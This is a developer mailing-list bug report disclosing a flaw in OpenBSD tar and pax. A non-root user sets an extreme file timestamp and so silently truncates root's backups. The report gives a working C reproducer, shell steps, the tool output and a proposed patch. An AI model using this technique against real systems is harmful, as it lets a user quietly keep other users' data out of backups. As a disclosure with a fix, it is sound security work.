From: Crystal Kolipe Subject: PAX bug allows unprivileged user to disrupt backups To: tech@openbsd.org Date: Sun, 22 Jun 2025 04:38:25 -0300 It's possible for a non-root user with no special permissions to disrupt backups made by root using tar and pax. Note that cpio is not affected. This is done by abusing file modification timestamps and fooling tar into quitting early. Reproducer: * In this scenario, 'user_2' is a regular user account with malicious intent. mod_timestamp.c is simply: #include #include int main() { struct timeval mod[2]; mod[0].tv_sec=0; mod[0].tv_usec=0; mod[1].tv_sec=10000000000000000; mod[1].tv_usec=0; printf ("%d\n",utimes ("/fake_home/user_2/file_a", mod)); } Set up the simulated environment as root: # mkdir /fake_home # mkdir /fake_home/user_1 # mkdir /fake_home/user_2 # mkdir /fake_home/user_3 # chown user_2:user_2 /fake_home/user_2 # echo foo > /fake_home/user_1/file_a # echo foo > /fake_home/user_1/file_b # echo foo > /fake_home/user_3/file_a # echo foo > /fake_home/user_3/file_b Now, as user_2: $ echo foo > /fake_home/user_2/file_a $ cc -o mod_timestamp mod_timestamp.c $ ./mod_timestamp $ ls -lt -rw-r--r-- 1 user_2 user_2 4 Jan 25 316889355 /fake_home/user_2/file_a Now, as root, perform a backup of /fake_home using tar: # tar -cvf /tmp/backup.tar /fake_home/ tar: Removing leading / from absolute path names in the archive /fake_home /fake_home/user_1 /fake_home/user_1/file_a /fake_home/user_1/file_b /fake_home/user_2 /fake_home/user_2/file_a # tar -tvf /tmp/backup.tar drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_1 -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_a -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_b drwxr-xr-x 2 user_2 user_2 0 Jun 22 07:51 /fake_home/user_2 Pax is also affected in the same way: # pax -vw -f /ramdisk/p.tar /fake_home/ /fake_home /fake_home/user_1 /fake_home/user_1/file_a /fake_home/user_1/file_b /fake_home/user_2 /fake_home/user_2/file_a pax: pax vol 1, 6 files, 0 bytes read, 10240 bytes written. Note that cpio is _not_ affected: # find /fake_home > /tmp/flist # cpio -o > /tmp/backup.cpio < /tmp/flist cpio: Sv4cpio header field is too small for file /fake_home/user_2/file_a # tar -tvf /tmp/backup.cpio tar: Removing leading / from absolute path names in the archive drwxr-xr-x 5 root wheel 0 Jun 22 07:50 /fake_home drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_1 -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_a -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_b drwxr-xr-x 2 user_2 user_2 0 Jun 22 07:51 /fake_home/user_2 -rw-r--r-- 1 user_2 user_2 4 Jun 22 07:50 /fake_home/user_2/file_b drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_3 -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_3/file_a -rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_3/file_b Problem code: The premature end of processing is caused by a break statement in wr_archive() in ar_subs.c: /* * looks safe to store the file, have the format specific * routine write routine store the file header on the archive */ if ((res = (*wrf)(arcn)) < 0) { rdfile_close(arcn, &fd); break; } If we s/break/continue, then behaviour of pax matches cpio, in that the file with the unsupported timestamp is not stored in the archive, but archive processing otherwise continues: --- bin/pax/ar_subs.c.dist Sun Jul 14 15:32:02 2024 +++ bin/pax/ar_subs.c Sun Jun 22 08:30:59 2025 @@ -536,7 +536,7 @@ */ if ((res = (*wrf)(arcn)) < 0) { rdfile_close(arcn, &fd); - break; + continue ; } wr_one = 1; if (res > 0) { More elegant solutions and better error handling are probably possible.